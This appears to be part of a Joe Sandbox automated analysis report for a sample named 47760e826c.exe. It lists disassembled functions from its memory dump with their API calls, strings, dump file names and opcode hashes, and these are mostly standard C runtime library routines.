Function 002D3FDE Relevance: 12.2, APIs: 8, Instructions: 248COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCPInfo.KERNEL32(00D30A30,00D30A30,00000000,7FFFFFFF,?,002D3FC9,00D30A30,00D30A30,00000000,00D30A30,?,?,?,?,00D30A30,00000000), ref: 002D4084
__alloca_probe_16.LIBCMT ref: 002D413F
__alloca_probe_16.LIBCMT ref: 002D41CE
__freea.LIBCMT ref: 002D4219
__freea.LIBCMT ref: 002D421F
__freea.LIBCMT ref: 002D4255
__freea.LIBCMT ref: 002D425B
__freea.LIBCMT ref: 002D426B

Memory Dump Source

Source File: 00000014.00000002.2301539723.00000000002C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000014.00000002.2301329689.00000000002C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301646940.00000000002D6000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301693485.00000000002DE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301730736.00000000002DF000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301770825.00000000002E1000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301818496.00000000002E3000.00000008.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_2c0000_47760e826c.jbxd

Similarity

API ID: __freea$__alloca_probe_16$Info
String ID:
API String ID: 127012223-0
Opcode ID: 74b80deffd6984032ba8de4c0b4d344b5040f71befd322de4873d70399207ca7
Instruction ID: d866ab280ad249c7f5e536a5c76479d279c5040652981c4b4a7a27191bd72479
Opcode Fuzzy Hash: 74b80deffd6984032ba8de4c0b4d344b5040f71befd322de4873d70399207ca7
Instruction Fuzzy Hash: 9071E532920246ABDF21AF948C85FAF77B99F49311F29411BFD08A7381D775DD608BA0

Function 002CC28B Relevance: 10.8, APIs: 7, Instructions: 329COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 002CC311

Memory Dump Source

Source File: 00000014.00000002.2301539723.00000000002C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000014.00000002.2301329689.00000000002C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301646940.00000000002D6000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301693485.00000000002DE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301730736.00000000002DF000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301770825.00000000002E1000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301818496.00000000002E3000.00000008.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_2c0000_47760e826c.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 6f50279ee7fba881e46e44fc6ac24256dd30adf8a6b45f72db007344eb616516
Instruction ID: fbe78fab60dff854284f697af920340faab2b1b7c79690adfdcbf702d04064ae
Opcode Fuzzy Hash: 6f50279ee7fba881e46e44fc6ac24256dd30adf8a6b45f72db007344eb616516
Instruction Fuzzy Hash: D3B17D729203569FDB258F64CC51FBE7BA5EF15350F348259E808AB382D370D921C7A0

Function 002C8EC9 Relevance: 10.8, APIs: 2, Strings: 4, Instructions: 301COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 002C8FE8
CallUnexpected.LIBVCRUNTIME ref: 002C9261

Strings

csm, xrefs: 002C8F06
csm, xrefs: 002C901F
xa-, xrefs: 002C8FDF
csm, xrefs: 002C8F73

Memory Dump Source

Source File: 00000014.00000002.2301539723.00000000002C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000014.00000002.2301329689.00000000002C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301646940.00000000002D6000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301693485.00000000002DE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301730736.00000000002DF000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301770825.00000000002E1000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301818496.00000000002E3000.00000008.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_2c0000_47760e826c.jbxd

Similarity

API ID: CallUnexpectedtype_info::operator==
String ID: csm$csm$csm$xa-
API String ID: 2673424686-2998627867
Opcode ID: 0db3c08543c877d8c3e9c107be292045eef56baa629555a9ee47417a4cc8ca4d
Instruction ID: 8e2598b48670a70010766f75f6a92a03b0993242e6119651a9066a53c0db5aa5
Opcode Fuzzy Hash: 0db3c08543c877d8c3e9c107be292045eef56baa629555a9ee47417a4cc8ca4d
Instruction Fuzzy Hash: 07B14A7192020AEFCF15DFA4C889E9EB7B9EF04310F14865DE8156B212D771DAA1CF92

Function 002C720B Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,54DFDFAE,?,?,00000000,002D5CA3,000000FF,?,002C72CC,00000002,?,002C7368,002C84AD), ref: 002C7240
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 002C7252
FreeLibrary.KERNEL32(00000000,?,?,00000000,002D5CA3,000000FF,?,002C72CC,00000002,?,002C7368,002C84AD), ref: 002C7274

Strings

mscoree.dll, xrefs: 002C7239
CorExitProcess, xrefs: 002C724A
f2,, xrefs: 002C7263

Memory Dump Source

Source File: 00000014.00000002.2301539723.00000000002C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000014.00000002.2301329689.00000000002C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301646940.00000000002D6000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301693485.00000000002DE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301730736.00000000002DF000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301770825.00000000002E1000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301818496.00000000002E3000.00000008.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_2c0000_47760e826c.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$f2,$mscoree.dll
API String ID: 4061214504-1491432063
Opcode ID: 974dfbf79de258e222a0b63b9923e63008104ad713389c0685aa9056b53c8cfd
Instruction ID: 5ea99e7f405b5794a3266c4d32ba4732049861ae81d0b209bc956aada90f11ad
Opcode Fuzzy Hash: 974dfbf79de258e222a0b63b9923e63008104ad713389c0685aa9056b53c8cfd
Instruction Fuzzy Hash: ED01627196862AEFDB118F54DC09FAEBBB8FB04B15F11462BF811A2790DB749D10CB90

Function 002C3269 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 15libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll), ref: 002C326F
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 002C327D
GetProcAddress.KERNEL32(00000000,GetTempPath2W), ref: 002C328E

Strings

kernel32.dll, xrefs: 002C326A
GetTempPath2W, xrefs: 002C3283
GetSystemTimePreciseAsFileTime, xrefs: 002C3277

Memory Dump Source

Source File: 00000014.00000002.2301539723.00000000002C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000014.00000002.2301329689.00000000002C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301646940.00000000002D6000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301693485.00000000002DE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301730736.00000000002DF000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301770825.00000000002E1000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301818496.00000000002E3000.00000008.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_2c0000_47760e826c.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: GetSystemTimePreciseAsFileTime$GetTempPath2W$kernel32.dll
API String ID: 667068680-1047828073
Opcode ID: 944f86a909a732cecfdc76083bc8a5aec847f8af538a132fc6e409b37a56dd25
Instruction ID: 14f7f2f449ac50b0c89c3da0eeecfc187885c0a5b2bc1c1b417ce9d38924d9e7
Opcode Fuzzy Hash: 944f86a909a732cecfdc76083bc8a5aec847f8af538a132fc6e409b37a56dd25
Instruction Fuzzy Hash: 6ED09E75DA72519F8B40AF747D0D8863B98AA067113158123F505D2354DB704D11CF99

Function 002C8639 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,002C8630,002C443B,002C3B4A), ref: 002C8647
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 002C8655
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 002C866E
SetLastError.KERNEL32(00000000,002C8630,002C443B,002C3B4A), ref: 002C86C0

Memory Dump Source

Source File: 00000014.00000002.2301539723.00000000002C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000014.00000002.2301329689.00000000002C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301646940.00000000002D6000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301693485.00000000002DE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301730736.00000000002DF000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301770825.00000000002E1000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301818496.00000000002E3000.00000008.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_2c0000_47760e826c.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: f7d1110fa8b40fd9fd5cafc3eb7295e61ce788533e3c475a0a6c4a08b5ac1f5b
Instruction ID: 301fc9ff49c7f24ce347e4f19449648660024ca8e9b6e6b790ccad98380fbe30
Opcode Fuzzy Hash: f7d1110fa8b40fd9fd5cafc3eb7295e61ce788533e3c475a0a6c4a08b5ac1f5b
Instruction Fuzzy Hash: D201D43363A6135EEE652B74BC89F6B678CDB017B8731432EF510491F5EF514C21A580

Function 002C8BF0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 002C8CB7
___AdjustPointer.LIBCMT ref: 002C8CDA
___AdjustPointer.LIBCMT ref: 002C8D76

Strings

f2,, xrefs: 002C8C4F

Memory Dump Source

Source File: 00000014.00000002.2301539723.00000000002C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000014.00000002.2301329689.00000000002C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301646940.00000000002D6000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301693485.00000000002DE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301730736.00000000002DF000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301770825.00000000002E1000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301818496.00000000002E3000.00000008.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_2c0000_47760e826c.jbxd

Similarity

API ID: AdjustPointer
String ID: f2,
API String ID: 1740715915-1823692306
Opcode ID: d743640cc455a870920cc1a6f1afbd7e195768115f5833820c7f476c5c84ffbd
Instruction ID: fdf67ab7de28e0985fabff811169eafb206a50617a091764170d2d944f7334da
Opcode Fuzzy Hash: d743640cc455a870920cc1a6f1afbd7e195768115f5833820c7f476c5c84ffbd
Instruction Fuzzy Hash: F451E3756216079FDB299F20D841FBA77A4EF14311F24872EE802572D1DB31EDA1CB91

Function 002CDC9B Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79COMMON

Download Yara Rule

Strings

C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe, xrefs: 002CDCB7

Memory Dump Source

Source File: 00000014.00000002.2301539723.00000000002C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000014.00000002.2301329689.00000000002C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301646940.00000000002D6000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301693485.00000000002DE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301730736.00000000002DF000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301770825.00000000002E1000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301818496.00000000002E3000.00000008.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_2c0000_47760e826c.jbxd

Similarity

API ID:
String ID: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe
API String ID: 0-209629393
Opcode ID: fd8c4f159b8b7317ee31b0070394a47de7a4a30e68cf54f14f49bd7ad745adfd
Instruction ID: d69642451c4e9efdb101fe815b21f9ad92c4268c61a71d0b4ba6faffb1276a7c
Opcode Fuzzy Hash: fd8c4f159b8b7317ee31b0070394a47de7a4a30e68cf54f14f49bd7ad745adfd
Instruction Fuzzy Hash: 4C216272A20206AFDB20AF75DC81F6AB769AF40364710473EF91A97151EB70ED70CB90

Function 002CF1A5 Relevance: 7.7, APIs: 5, Instructions: 197COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 002CF22A
__alloca_probe_16.LIBCMT ref: 002CF2F3
__freea.LIBCMT ref: 002CF35A

Part of subcall function 002CB8D6: RtlAllocateHeap.NTDLL(00000000,002CAB77,?,?,002CAB77,00000220,?,00000000,?), ref: 002CB908

__freea.LIBCMT ref: 002CF36D
__freea.LIBCMT ref: 002CF37A

Memory Dump Source

Source File: 00000014.00000002.2301539723.00000000002C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000014.00000002.2301329689.00000000002C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301646940.00000000002D6000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301693485.00000000002DE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301730736.00000000002DF000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301770825.00000000002E1000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301818496.00000000002E3000.00000008.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_2c0000_47760e826c.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
Opcode ID: a57b189e63a9ed9babbd5c1d5a29ea75a2eec261fa7683dc0ca34d03128a87d1
Instruction ID: bbb7d92a8373ca51c3b54380051d0aa37581bc3f575adf60a8fcf2f5ba78fa2f
Opcode Fuzzy Hash: a57b189e63a9ed9babbd5c1d5a29ea75a2eec261fa7683dc0ca34d03128a87d1
Instruction Fuzzy Hash: CC519172620286BBDB615E60CE45FBB76AAEF44750B19027EFD04D7251E774CC30CA60

Function 002C30C1 Relevance: 7.6, APIs: 5, Instructions: 116threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 002C30D5
AcquireSRWLockExclusive.KERNEL32(?,?,00000000,002D5C4C,000000FF,?,002C211F), ref: 002C30F4
AcquireSRWLockExclusive.KERNEL32(?,?,?,?,00000000,002D5C4C,000000FF,?,002C211F), ref: 002C3122
TryAcquireSRWLockExclusive.KERNEL32(?,?,?,?,00000000,002D5C4C,000000FF,?,002C211F), ref: 002C317D
TryAcquireSRWLockExclusive.KERNEL32(?,?,?,?,00000000,002D5C4C,000000FF,?,002C211F), ref: 002C3194

Memory Dump Source

Source File: 00000014.00000002.2301539723.00000000002C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000014.00000002.2301329689.00000000002C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301646940.00000000002D6000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301693485.00000000002DE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301730736.00000000002DF000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301770825.00000000002E1000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301818496.00000000002E3000.00000008.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_2c0000_47760e826c.jbxd

Similarity

API ID: AcquireExclusiveLock$CurrentThread
String ID:
API String ID: 66001078-0
Opcode ID: f68de734ad275345b6c4037c3bd7519054666524093ef53f14657f7022d601d8
Instruction ID: 4d6e8af1fde3a47498766918ccb8cc51e7b84afa138b592ae8e11e36d6eb8758
Opcode Fuzzy Hash: f68de734ad275345b6c4037c3bd7519054666524093ef53f14657f7022d601d8
Instruction Fuzzy Hash: 2F413A31A20607DFCB24DF65D884EAAB3F5FF05311B288E2ED44A97540D7B0EA65CB60

Function 002C8B59 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 002C8DD0

Strings

csm, xrefs: 002C8DF2
csm, xrefs: 002C8E63
f2,, xrefs: 002C8E98

Memory Dump Source

Source File: 00000014.00000002.2301539723.00000000002C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000014.00000002.2301329689.00000000002C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301646940.00000000002D6000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301693485.00000000002DE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301730736.00000000002DF000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301770825.00000000002E1000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301818496.00000000002E3000.00000008.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_2c0000_47760e826c.jbxd

Similarity

API ID: ___except_validate_context_record
String ID: csm$csm$f2,
API String ID: 3493665558-1455577543
Opcode ID: 0d0463536fc22a802da61970f5a8910c247680eea2b408b29b0cb3a8d249a949
Instruction ID: 7c10e7ba085b7303a692d453a86b90a0cb0397d3be514dffa2a240f6869298e6
Opcode Fuzzy Hash: 0d0463536fc22a802da61970f5a8910c247680eea2b408b29b0cb3a8d249a949
Instruction Fuzzy Hash: 9431B4318206199BCF269F54CC44FAA7B66FF08715B14C35DF95449211CB32DC71DB91

Function 002C1C40 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 59registrywindowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 002C1C9D
RegisterClassW.USER32(?), ref: 002C1CB2
GetMessageW.USER32(00000000,00000000,00000000,00000000), ref: 002C1CDB

Strings

`-, xrefs: 002C1CA7

Memory Dump Source

Source File: 00000014.00000002.2301539723.00000000002C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000014.00000002.2301329689.00000000002C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301646940.00000000002D6000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301693485.00000000002DE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301730736.00000000002DF000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301770825.00000000002E1000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301818496.00000000002E3000.00000008.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_2c0000_47760e826c.jbxd

Similarity

API ID: ClassHandleMessageModuleRegister
String ID: `-
API String ID: 1585107554-3539233558
Opcode ID: 61bb2820e7d6ca20a4f4fc008db18c3313da1c0b549d9c35b402720a6fb88eef
Instruction ID: b7d0243641f3b2046ba54ccbd5e4be356353d4c1bf0fe69f86c5ec0a4d995e1c
Opcode Fuzzy Hash: 61bb2820e7d6ca20a4f4fc008db18c3313da1c0b549d9c35b402720a6fb88eef
Instruction Fuzzy Hash: 6C21A2B1C503898BDB10CFA0DC49BEEBBB4FF55714F20132AE50876241EB741AA4CB91

Function 002CEEE6 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,002CEF82,00000000,?,002DF760,?,?,?,002CEEB9,00000004,InitializeCriticalSectionEx,002D78B0,002D78B8), ref: 002CEEF3
GetLastError.KERNEL32(?,002CEF82,00000000,?,002DF760,?,?,?,002CEEB9,00000004,InitializeCriticalSectionEx,002D78B0,002D78B8,00000000,?,002C951C), ref: 002CEEFD
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 002CEF25

Strings

api-ms-, xrefs: 002CEF0A

Memory Dump Source

Source File: 00000014.00000002.2301539723.00000000002C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000014.00000002.2301329689.00000000002C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301646940.00000000002D6000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301693485.00000000002DE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301730736.00000000002DF000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301770825.00000000002E1000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301818496.00000000002E3000.00000008.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_2c0000_47760e826c.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: 6ace3ff9a842dc5fc2d9b9e8386a7aafecbd1fc164f7787af83dd190d985d248
Instruction ID: d76f1ea19a8ab7139d9303a1227d0234abe4a8f315427efaf10ba4822ef792a7
Opcode Fuzzy Hash: 6ace3ff9a842dc5fc2d9b9e8386a7aafecbd1fc164f7787af83dd190d985d248
Instruction Fuzzy Hash: D2E04831A9420AB7EF101F60EC0AF283F56EB05B50F208135F90DA44E0D762FC60D994

Function 002CF86C Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(54DFDFAE,00000000,00000000,?), ref: 002CF8CF

Part of subcall function 002CE356: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,002CF350,?,00000000,-00000008), ref: 002CE3B7

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 002CFB21
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 002CFB67
GetLastError.KERNEL32 ref: 002CFC0A

Memory Dump Source

Source File: 00000014.00000002.2301539723.00000000002C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000014.00000002.2301329689.00000000002C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301646940.00000000002D6000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301693485.00000000002DE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301730736.00000000002DF000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301770825.00000000002E1000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301818496.00000000002E3000.00000008.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_2c0000_47760e826c.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: b69eed164f02fa353c8fb9e8ab0f0cbbccd68b5d5140b7ecaa5a25b832b445a2
Instruction ID: 0bed23d79b49e4add88c75576ccca75826a1ddd156ed1b1cd947bca661884973
Opcode Fuzzy Hash: b69eed164f02fa353c8fb9e8ab0f0cbbccd68b5d5140b7ecaa5a25b832b445a2
Instruction Fuzzy Hash: 23D18D75D10249AFCF14CFA8D990AEDBBB6FF09314F28822EE456EB351D630A951CB50

Function 002CD6FF Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 002CE356: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,002CF350,?,00000000,-00000008), ref: 002CE3B7

GetLastError.KERNEL32(?,?,?,00000000,00000000,?,002CDAA5,?,?,?,00000000), ref: 002CD763
__dosmaperr.LIBCMT ref: 002CD76A
GetLastError.KERNEL32(00000000,002CDAA5,?,?,00000000,?,?,?,00000000,00000000,?,002CDAA5,?,?,?,00000000), ref: 002CD7A4
__dosmaperr.LIBCMT ref: 002CD7AB

Memory Dump Source

Source File: 00000014.00000002.2301539723.00000000002C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000014.00000002.2301329689.00000000002C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301646940.00000000002D6000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301693485.00000000002DE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301730736.00000000002DF000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301770825.00000000002E1000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301818496.00000000002E3000.00000008.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_2c0000_47760e826c.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: 1d2062e580fb03280c5fd3599c3572e2b6bfc67db8c7f3523a94c948351974d8
Instruction ID: 04da69a7523c1af1db86e32054b6c7ec183d18a7d5b977d2678d774d3de30a2a
Opcode Fuzzy Hash: 1d2062e580fb03280c5fd3599c3572e2b6bfc67db8c7f3523a94c948351974d8
Instruction Fuzzy Hash: D8218372620606AFDB21AF65D885E2AF7A9EF403647108B3EF91997250D730EC648B90

Function 002CE452 Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 002CE45A

Part of subcall function 002CE356: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,002CF350,?,00000000,-00000008), ref: 002CE3B7

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 002CE492
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 002CE4B2

Memory Dump Source

Source File: 00000014.00000002.2301539723.00000000002C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000014.00000002.2301329689.00000000002C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301646940.00000000002D6000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301693485.00000000002DE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301730736.00000000002DF000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301770825.00000000002E1000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301818496.00000000002E3000.00000008.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_2c0000_47760e826c.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: 778c40e6e865c29d8e3d66f962da72a7296b172ddafa2a3230153007e281333e
Instruction ID: 4880ae24b2ca467824e2a4b00b3a8778b25e157cc337ac87babeb53ff6c98553
Opcode Fuzzy Hash: 778c40e6e865c29d8e3d66f962da72a7296b172ddafa2a3230153007e281333e
